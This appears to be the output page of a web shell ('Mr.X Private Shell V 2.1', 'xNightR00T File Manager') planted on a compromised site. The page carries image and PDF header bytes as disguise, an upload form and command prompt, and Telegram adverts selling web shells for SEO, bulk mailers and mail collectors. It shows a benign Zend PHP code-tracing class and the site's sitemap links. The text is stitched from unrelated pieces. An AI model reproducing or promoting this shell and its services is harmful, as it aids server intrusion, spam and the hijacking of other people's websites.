xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Codetracing\Mapper;

use Zend\Db\Adapter\Adapter;
use Zend\Db\TableGateway\TableGateway;
use Zend\Db\Sql\Select;
use Zend\Db\Sql\Expression;
use Zend\Db\ResultSet\ResultSet;
use Zend\Db\Sql\Predicate\Like;
use Zend\Db\Sql\Predicate\Predicate;
use Zend\Db\Sql\Predicate\PredicateSet;

class CodetraceDbFile
{
    const MAX_NODES_IN_LEVEL          = 15000; //
    // Possible values for "node_type" field in "ct_nodes" table
    const NODE_TYPE_UNKNOWN           = -1;
    const NODE_TYPE_ROOT              = 0;
    const NODE_TYPE_REQUEST_STARTUP   = 1;
    const NODE_TYPE_REQUEST_SHUTDOWN  = 2;
    const NODE_TYPE_FUNCTION          = 3;
    const NODE_TYPE_INCLUDE           = 4;
    const NODE_TYPE_SAPI_WRITE        = 5;
    const NODE_TYPE_SAPI_FLUSH        = 6;
    const NODE_TYPE_SAPI_HEADER       = 7;
    const NODE_TYPE_SAPI_SEND_HEADERS = 8;
    const NODE_TYPE_SCRIPT_EXIT       = 9;
    const NODE_TYPE_SCRIPT_ERROR      = 10;
    const NODE_TYPE_SCRIPT_CRASH      = 11;
    const NODE_TYPE_MONITOR_EVENT     = 12;
    // CT available properties list (keys in CT_PROPERTIES table)
    const PROPERTY_KEY_BUFFER_FULL    = 'BUFFER_FULL';
    const PROPERTY_KEY_IS_LITE        = 'IS_LITE';
    const PROPERTY_KEY__POST          = '_POST';
    const PROPERTY_KEY__GET           = '_GET';
    const PROPERTY_KEY_URL            = 'URL';

    // table names for each node type
    protected $dataTableName = array(
        self::NODE_TYPE_REQUEST_STARTUP => 'CT_CALL_DATA_REQUEST_STARTUP',
        self::NODE_TYPE_INCLUDE => 'CT_CALL_DATA_INCLUDE',
        self::NODE_TYPE_SAPI_HEADER => 'CT_CALL_DATA_SAPI_HEADER',
        self::NODE_TYPE_SAPI_WRITE => 'CT_CALL_DATA_SAPI_WRITE',
        self::NODE_TYPE_SCRIPT_ERROR => 'CT_CALL_DATA_SCRIPT_ERROR',
        self::NODE_TYPE_FUNCTION => 'CT_CALL_DATA_FUNCTION',
        self::NODE_TYPE_MONITOR_EVENT => 'CT_CALL_DATA_MONITOR_EVENT',
    );

    /**
     * @var string
     */
    private $codeTraceFilePath;

    /**
     * @brief 
     * @param string $codeTraceFilePath 
     * @return  
     */
    public function __construct($codeTraceFilePath)
    {
        $this->codeTraceFilePath = $codeTraceFilePath;
    }
    /**
     * @var Zend\Db\Adapter\Adapter
     */
    private $dbConnection = null;

    /**
     * @brief get db adapter
     * @return Zend\Db\Adapter\Adapter
     */
    protected function getDbAdapter()
    {
        if (!$this->dbConnection) {
            $this->dbConnection = new Adapter(array(
                'driver' => 'Pdo',
                'dsn' => "sqlite:{$this->codeTraceFilePath}",
            ));
            $this->dbConnection->query('PRAGMA busy_timeout=6000');
        }

        return $this->dbConnection;
    }

    /**
     * @brief get the type of the node (number)
     * @param int $nodeId 
     * @return int
     */
    protected function getNodeType($nodeId)
    {
        $tableGateway = new TableGateway('ct_nodes', $this->getDbAdapter());
        $result       = $tableGateway->select(array('id' => $nodeId))->current();
        return $result ? $result['NODE_TYPE'] : false;
    }

    /**
     * check if the trace did not exceed its buffer size limit
     * @return
     */
    public function exceededBufferSize()
    {
        $metaData   = new \Zend\Db\Metadata\Metadata($this->getDbAdapter());
        $tableNames = $metaData->getTableNames();
        if (!in_array('CT_METADATA', $tableNames)) {
            return false;
        }

        // read the `buffer exceeded` value
        $tableGateway = new TableGateway('ct_metadata', $this->getDbAdapter());
        $result       = $tableGateway->select()->current();
        return ($result && intval($result['BUFFER_FULL']) === 1);
    }

    /**
     * Check if the codetracing is "lite" - i.e. stores only functions data
     * and callees list.
     * 
     * @return boolean
     */
    public function isCodetracingLite()
    {
        $tableGateway = new TableGateway('ct_properties', $this->getDbAdapter());
        if (!$tableGateway) {
            return false;
        }

        // get the relevant row from the properties table
        $row = $tableGateway->select(array(
                'property_name' => self::PROPERTY_KEY_IS_LITE
            ))->current();

        return $row && isset($row->PROPERTY_VALUE) && strtolower($row->PROPERTY_VALUE) == 'true';
    }

    /**
     * Get list of all the properties from the CT_PROPERTIES table as 'key' => 'value' pairs
     * @return array|false - false on DB error
     */
    public function getProperties()
    {
        $tableGateway = new TableGateway('ct_properties', $this->getDbAdapter());
        if (!$tableGateway) {
            return false;
        }

        // read all properties
        $props = $row   = $tableGateway->select();

        $retArr = array();
        if ($props) {
            foreach ($props as $prop) {
                $retArr[$prop->PROPERTY_NAME] = $prop->PROPERTY_VALUE;
            }
        }

        return $retArr;
    }

    /**
     * @brief Get the root node of the codetrace. Root is defined with type=root
     * @return
     */
    public function getRootNode()
    {
        // take the element, that its father has node type "NODE_TYPE_ROOT"
        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());
        $select       = new Select();
        $select->from(array('cn1' => $tableGateway->getTable()));
        $select->join(array('cn2' => $tableGateway->getTable()), 'cn1.parent_id = cn2.id', array('cn2_root_id' => 'id'));
        $select->where(array('cn2.NODE_TYPE' => self::NODE_TYPE_ROOT));
        return $tableGateway->selectWith($select)->current();
    }

    /**
     * @brief Check if the trace file has memory values (which are not zeros)
     * @return bool
     */
    public function traceHasMemoryValues()
    {
        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());
        $select       = new Select();
        $select->columns(array(
            'totalMemory' => new \Zend\Db\Sql\Expression('SUM(MEMORY_USAGE)'),
        ));
        $select->from($tableGateway->getTable());

        /* @var Zend\Db\ResultSet\ResultSet */
        $result = $tableGateway->selectWith($select);
        if ($result->count() > 0) {
            $row = $result->current();
            if (intval($row['totalMemory']) > 0) {
                return true;
            }
        }

        return false;
    }

    /**
     * @brief Check if the trace file has memory values (which are not zeros)
     * @return int|bool
     */
    public function getNumberOfScriptErrors()
    {
        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());
        $select       = new Select();
        $select->columns(array(
            'totalErrors' => new \Zend\Db\Sql\Expression('COUNT(1)'),
        ));
        $select->from($tableGateway->getTable());
        $select->where(new \Zend\Db\Sql\Predicate\In('NODE_TYPE',
            array(
            self::NODE_TYPE_MONITOR_EVENT,
            self::NODE_TYPE_SCRIPT_CRASH,
            self::NODE_TYPE_SCRIPT_ERROR,
        )));

        /* @var Zend\Db\ResultSet\ResultSet */
        $result = $tableGateway->selectWith($select);
        if ($result->count() > 0) {
            $row = $result->current();
            if (intval($row['totalErrors']) > 0) {
                return intval($row['totalErrors']);
            }
        }

        return false;
    }

    /**
     * Get the total functions counter
     * @return  
     */
    public function getTotalFunctionsCount()
    {
        $tableGateway = new TableGateway('CT_FUNCTIONS_TABLE', $this->getDbAdapter());

        // initialize the query
        $select = new Select();
        $select->columns(array(
            'total' => new \Zend\Db\Sql\Expression('count(1)')
        ));
        $select->from('CT_FUNCTIONS_TABLE');

        $result = $tableGateway->selectWith($select)->current();
        return $result['total'] ?? 0;
    }

    /**
     * Get list of all functions and their aggregated data
     * 
     * @param number $limit 
     * @param number $offset 
     * @param string $orderBy 
     * @param string $direction 
     * 
     * @return ResultSet|\WebAPI\Exception
     */
    public function getFunctionsList($limit = null, $offset = null, $orderBy = null, $direction = null)
    {
        // take the element, that its father has node type "NODE_TYPE_ROOT"
        $tableGateway = new TableGateway('CT_FUNCTIONS_TABLE', $this->getDbAdapter());

        // initialize the query
        $select = new Select();
        $select->from('CT_FUNCTIONS_TABLE');

        // validate and set order
        if (!is_null($orderBy)) {

            // get column names
            $metadata = new \Zend\Db\Metadata\Metadata($this->getDbAdapter());
            $columns  = $metadata->getColumnNames('CT_FUNCTIONS_TABLE');
            array_walk($columns, function(&$el) {
                $el = strtolower($el);
            });

            // validate the order parameter
            if (!in_array(strtolower($orderBy), $columns)) {
                return new \WebAPI\Exception('Order parameter should be one of '.implode(', ', $columns),
                    \WebAPI\Exception::INVALID_PARAMETER);
            }

            // validate the order direction
            $direction = (strcasecmp($direction, 'asc') == 0) ? 'ASC' : 'DESC';

            // add order clause to the query
            $select->order(array(
                strtoupper($orderBy) => $direction
            ));
        } else {
            // defined default order
            $select->order(array('EXCLUSIVE' => 'desc'));
        }

        // set limit
        if (!is_null($limit) && is_numeric($limit)) {
            $select->limit(intval($limit));
        }

        // set offset
        if (!is_null($offset) && is_numeric($offset)) {
            $select->offset(intval($offset));
        }

        return $tableGateway->selectWith($select);
    }

    protected function getDummyFunctionDataChild($parentId, $nodeType, $nodeText)
    {
        return array(
            'ID' => uniqid('function_data_'),
            'PARENT_ID' => $parentId,
            'NODE_TYPE' => $nodeType,
            'CALL_DATA_ID' => 0,
            'INCLUSIVE' => 0,
            'EXCLUSIVE' => 0,
            'CHILDREN_COUNT' => 0,
            'TEXT_PREVIEW' => $nodeText,
        );
    }

    /**
     * @brief get node children, with the total count (optional)
     * @param int $nodeId 
     * @param int $limit - 0 for no limit
     * @param int $totalCount (optional) Get the total number of children
     * @return array
     */
    public function getNodeChildren($nodeId, $limit, &$totalCount = null)
    {
        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());

        // if limit provided, get the total results using a query
        if ($limit > 0) {
            // calculate the total children
            $selectTotal = new Select();
            $selectTotal->from($tableGateway->getTable());
            $selectTotal->columns(array(
                'total_children' => new Expression('count(1)'),
            ));
            $selectTotal->where(array('parent_id' => $nodeId));

            /* @var ResultSet */
            $resultTotal = $tableGateway->selectWith($selectTotal)->current();

            $totalCount = $resultTotal['total_children'];
        }

        //
        // get the children list
        //
		$select = new Select();
        $select->from(array('cn' => $tableGateway->getTable()));
        $select->join(
            array('ccdf' => 'CT_CALL_DATA_FUNCTION'),
            'ccdf.id = cn.call_data_id AND cn.node_type = '.self::NODE_TYPE_FUNCTION,
            array('ARGS_STR', 'RETURN_VALUE_STR', 'EXCEPTION_STR', 'THIS_OBJ_STR', 'FUNCTION_ID'), $select::JOIN_LEFT
        );
        $select->where(array('cn.parent_id' => $nodeId));
        if ($limit > 0) {
            $select->limit(intval($limit));
        } else {
            $select->limit(self::MAX_NODES_IN_LEVEL);
        }

        // sort by ID, it's important for the search
        $select->order(array('cn.id' => 'ASC'));

        /* @var ResultSet */
        $result = $tableGateway->selectWith($select)->toArray();

        // if limit was not supplied, count the total rows in the result
        // (The result contains all of them)
        if (is_null($totalCount)) {
            $totalCount = count($result);
        }

        return $result;
    }

    /**
     * @brief 
     * @param <unknown> $condition - valid parameter for "where" clause 
     * @param <unknown> $counter 
     * @param <unknown> ByRef $totalFound - the total search results
     * @return  
     */
    public function getPathToSearchResult(\Zend\Db\Sql\Predicate\PredicateSet $condition, $counter = 1,
                                          &$totalFound = null)
    {
        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());

        $select = new Select();
        $select->from($tableGateway->getTable());

        if ($condition->count() > 0) {
            $select->where($condition);
        }
        $select->order(array('ID' => 'Asc'));
        $select->limit(1);
        $select->offset($counter - 1);

        $result = $tableGateway->selectWith($select);
        $row    = $result->current();
        $nodeId = $row['ID'];

        // get the path (with the children)
        $pathToNode = $this->_getPathToNode($nodeId);

        // get the total search results count
        $select->columns(array(
            'totalFound' => new \Zend\Db\Sql\Expression('COUNT(1)'),
        ));
        $select->reset($select::LIMIT);
        $select->reset($select::OFFSET);

        $result        = $tableGateway->selectWith($select);
        $totalFoundRec = $result->current();
        $totalFound    = $totalFoundRec['totalFound'];

        return $pathToNode;
    }

    /**
     * @brief get all the parents of the node (all the path to the root (parent_id=-1))
     * @param int $nodeId
     * @param int $loadedChild (default: false) - which of the children was already loaded
     * @return array - list of IDs
     */
    protected function _getPathToNode($nodeId, $loadedChildId = false, $loadedChildren = array())
    {
//		echo "nodeId = $nodeId\n";
        // reached the root node
        if ($nodeId < 0) {
            return $loadedChildren;
        }

        // load all the children of the node (except the first iteration)
        $result = array();
        if ($loadedChildId !== false) {
            $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());
            $select       = new Select();

            $select->from(array('cn' => $tableGateway->getTable()));
            $select->join(
                array('ccdf' => 'CT_CALL_DATA_FUNCTION'),
                'ccdf.id = cn.call_data_id AND cn.node_type = '.self::NODE_TYPE_FUNCTION,
                array('ARGS_STR', 'RETURN_VALUE_STR', 'EXCEPTION_STR', 'THIS_OBJ_STR', 'FUNCTION_ID'),
                $select::JOIN_LEFT
            );

            $select->where(array('cn.parent_id' => $nodeId));
            $result = $tableGateway->selectWith($select)->toArray();

            // add the children to the pre-loaded child
            if (count($result) > 0 && count($loadedChildren) > 0) {
                foreach ($result as $i => $row) {
                    if ($row['ID'] == $loadedChildId) {
                        $result[$i]['CHILDREN'] = $loadedChildren;
                    }
                }
            }
        }

        // add a flag to the selected node
        if (empty($loadedChildren)) {
            // loaded children are only in case of the first element
            foreach ($result as $i => $row) {
                if ($row['ID'] == $loadedChildId) {
                    $result[$i]['CURRENT_SEARCH_RESULT'] = true;
                }
            }
        }

        return $this->_getPathToNode($this->_getParentId($nodeId), $nodeId, $result);
    }

    /**
     * @brief get the parent id of a node
     * @param <unknown> $nodeId
     * @return int
     */
    protected function _getParentId($nodeId)
    {
        if ($nodeId < 0) {
            return -1;
        }

        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());

        // load all the siblings
        $select = new Select();
        $select->columns(array('parent_id'));
        $select->from($tableGateway->getTable());
        $select->where(array('id' => $nodeId));

        /* @var Zend\Db\ResultSet\ResultSet */
        $result = $tableGateway->selectWith($select);
        if ($result->count() > 0) {
            $resultArr = $result->current();
            return $resultArr['parent_id'];
        }

        return -1;
    }

    /**
     * @brief take the children list, and return list of only the relevant children
     * @param array $childrenList 
     * @param string $searchString 
     * @return array()
     */
    protected function _filterChildrenBySearchString(array $childrenList, $searchString)
    {

        // get nodes table
        $tableGateway = new TableGateway('CT_NODES', $this->getDbAdapter());

        // get the results from the nodes table
        // in memory of George Preddy (https://en.wikipedia.org/wiki/George_Preddy)
        $select = new Select();
        $select->from(array('cn' => $tableGateway->getTable()));
        $select->join(
            array('ccdf' => 'CT_CALL_DATA_FUNCTION'),
            'ccdf.id = cn.call_data_id AND cn.node_type = '.self::NODE_TYPE_FUNCTION,
            array('ARGS_STR', 'RETURN_VALUE_STR', 'EXCEPTION_STR', 'THIS_OBJ_STR'), $select::JOIN_LEFT
        );
        $select->where(array(
            new PredicateSet(
                array(
                new Like('TEXT_PREVIEW', '%'.$searchString.'%'),
                new Like('ARGS_STR', '%'.$searchString.'%'),
                new Like('RETURN_VALUE_STR', '%'.$searchString.'%'),
                new Like('EXCEPTION_STR', '%'.$searchString.'%'),
                new Like('THIS_OBJ_STR', '%'.$searchString.'%'),
                ), PredicateSet::COMBINED_BY_OR
            ),
        ));

        $searchResults = $tableGateway->selectWith($select);

        if ($searchResults->count() == 0) {
            // if no search results, no one of the children is relevant. return empty set
            return array();
        }

        // gather chilren IDs
        $relevantChildren = array();
        foreach ($childrenList as $child) {
            // mark all the children as false, and later change to true to all the relevent children
            $relevantChildren[$child['ID']] = false;
        }

        // find the maximal relevant ID ("uncle" of the last child)
        $childrenIds = array_keys($relevantChildren);
        $lastChildId = end($childrenIds);

        $uncleId = $this->_findChildsUncle($lastChildId, $tableGateway);

        // if found the uncle, add it to the list
        if ($uncleId && intval($uncleId) > 0) {
            $relevantChildren[$uncleId] = false;
        } else {
            // dummy uncle id (maybe adopted child of the grandfather)
            $relevantChildren[PHP_INT_MAX] = false;
        }

        // just to be sure... (sort the array by the IDs)
        ksort($relevantChildren);

        // loop through the search results and set the relevant children ($ids list) to true
        $childrenIds = array_keys($relevantChildren);

        $totalChildren = count($childrenIds);
        $firstChildId  = reset($childrenIds);
        $lastChildId   = end($childrenIds);
        foreach ($searchResults as $foundNode) {
            $foundNodeId = $foundNode['ID'];

            // check if the search result is in the relevant margins
            if ($foundNodeId < $firstChildId || $foundNodeId > $lastChildId) continue;

            // loop the children, to see who's the relevant father of this search result record.
            foreach ($childrenIds as $i => $childId) {
                // last child is not relevant for the match
                if ($i == $totalChildren - 1) continue;

                $nextChildId = $childrenIds[$i + 1];

                if ($foundNodeId >= $childId && $foundNodeId < $nextChildId) {
                    // found a match. Mark the child as relevant
                    $relevantChildren[$childId] = true;
                }
            }
        }

        // keep only the relevant children - which had a match
        $newRelevantChildrenList = array();
        foreach ($childrenList as $child) {
            if ($relevantChildren[$child['ID']] == true) {
                $newRelevantChildrenList[] = $child;
            }
        }

        return $newRelevantChildrenList;
    }

    /**
     * @brief find the first uncle - uncle id has to be higher than father's
     * @param int $childId 
     * @param TableGateway $tableGateway 
     * @return int|false
     */
    protected function _findChildsUncle($childId, $tableGateway)
    {

        // find the grandfather
        $select = new Select();
        $select->from(array('cn1' => $tableGateway->getTable()));
        $select->join(array('cn2' => $tableGateway->getTable()), 'cn1.parent_id = cn2.id',
            array('cn2_parent_id' => 'parent_id', 'cn2_node_type' => 'node_type'), $select::JOIN_LEFT);
        $select->where(array('cn1.id' => $childId));

        /* @var ResultSet */
        $result = $tableGateway->selectWith($select);
        $result = $result->count() > 0 ? $result->toArray() : array();

        // if no grandfather then the father is the root of the tree - no uncle :(
        if (empty($result)) {
            return false;
        }

        $fatherId            = intval($result[0]['PARENT_ID']);
        $grandfatherId       = intval($result[0]['cn2_parent_id']);
        $grandfatherNodeType = intval($result[0]['cn2_node_type']);

        // get all the children of the father (get all the uncles (including the father))
        $select     = new Select();
        $select->from($tableGateway->getTable());
        $select->where(array('PARENT_ID' => $grandfatherId));
        $select->order(array('ID' => 'ASC'));
        $unclesList = $tableGateway->selectWith($select);

        // find the first uncle that is younger than the father
        $uncleId = false;
        foreach ($unclesList as $uncle) {
            if (intval($uncle['ID']) > $fatherId) {
                $uncleId = $uncle['ID'];
                break;
            }
        }

        // if didn't find the uncle and didn't reach tree root, ask who's the uncle of the father.
        if (!$uncleId && $grandfatherNodeType != self::NODE_TYPE_ROOT) {
            return $this->_findChildsUncle($fatherId, $tableGateway);
        }

        // uncle Sam found! (Hooray!)
        return $uncleId;
    }

    /**
     * @brief
     * @param integer $nodeId
     * @return
     */
    public function getNodeInfo($nodeId)
    {
        $tableGateway = new TableGateway('ct_nodes', $this->getDbAdapter());

        // get node type and the corresponding DB table name
        $nodeType = $this->getNodeType($nodeId);
        if (!$nodeType || !is_numeric($nodeType)) {
            return false;
        }

        $dataTableName = $this->dataTableName[$nodeType];

        // read the data with joined relevant table
        $select = new Select();
        $select->from($tableGateway->getTable());
        $select->join($dataTableName, "ct_nodes.call_data_id = {$dataTableName}.id", Select::SQL_STAR, Select::JOIN_LEFT);
        $select->where(array('ct_nodes.id' => $nodeId));

        $result = $tableGateway->selectWith($select)->current();
        return $result;
    }

    /**
     * @brief Get statistics of a function
     * @param string $functionName 
     * @return Result
     */
    public function getFunctionStatistics($functionName)
    {
        $tableGateway = new TableGateway('ct_functions_table', $this->getDbAdapter());

        /* @var Zend\Db\ResultSet\ResultSet */
        return $tableGateway->select(array('func_name' => $functionName))->current();
    }

    /**
     * @brief Get list of function calls
     * @param string $functionName 
     * @param int $limit 
     * @return ResultSet
     */
    public function getFunctionCalls($functionId, $limit = null)
    {
        $tableGateway = new TableGateway('ct_call_data_function', $this->getDbAdapter());

        $select = new Select();
        $select->from('ct_call_data_function');
        $select->join(array('cn' => 'ct_nodes'), 'cn.call_data_id = ct_call_data_function.id',
            array('INCLUSIVE', 'EXCLUSIVE', 'FILE_NAME', 'LINE_NUMBER', 'MEMORY_USAGE'), $select::JOIN_INNER);
        $select->join('ct_functions_table', 'ct_call_data_function.function_id = ct_functions_table.id',
            array('FUNC_NAME'));
        // $select->join('ct_nodes', 'ct_call_data_function.id = ct_nodes.call_data_id', Select::SQL_STAR);
        $select->where(array('ct_functions_table.id' => $functionId));
        if (!is_null($limit)) {
            $select->limit(intval($limit));
        }

        return $tableGateway->selectWith($select)->toArray();
    }

    /**
     * @brief Get list of function callees
     * @param string $functionName 
     * @param int $limit 
     * @return ResultSet
     */
    public function getFunctionCallees($functionId, $limit = null)
    {
        $tableGateway = new TableGateway('ct_functions_table', $this->getDbAdapter());

        // build the query
        $select = new Select();
        $select->from(array('cft' => 'ct_functions_table'));
        $select->join(array('cfc' => 'ct_functions_callees'), 'cft.id = cfc.callee_id');
        $select->where(array('cfc.function_id' => $functionId));

        // limit the number of results
        if (!is_null($limit)) {
            $select->limit(intval($limit));
        }

        return $tableGateway->selectWith($select)->toArray();
    }

    /**
     * @brief Get list of function callers
     * @param string $functionName 
     * @param int $limit 
     * @return ResultSet
     */
    public function getFunctionCallers($functionId, $limit = null)
    {
        $tableGateway = new TableGateway('ct_functions_table', $this->getDbAdapter());

        // build the query
        $select = new Select();
        $select->from(array('cft' => 'ct_functions_table'));
        $select->join(array('cfc' => 'ct_functions_callees'), 'cft.id = cfc.function_id');
        $select->where(array('cfc.callee_id' => $functionId));


        // limit the number of results
        if (!is_null($limit)) {
            $select->limit(intval($limit));
        }

        return $tableGateway->selectWith($select)->toArray();
    }
}

Filemanager

Name Type Size Permission Actions
CodetraceDbFile.php File 26.12 KB 0644
Statuses.php File 150 B 0644
Tasks.php File 816 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml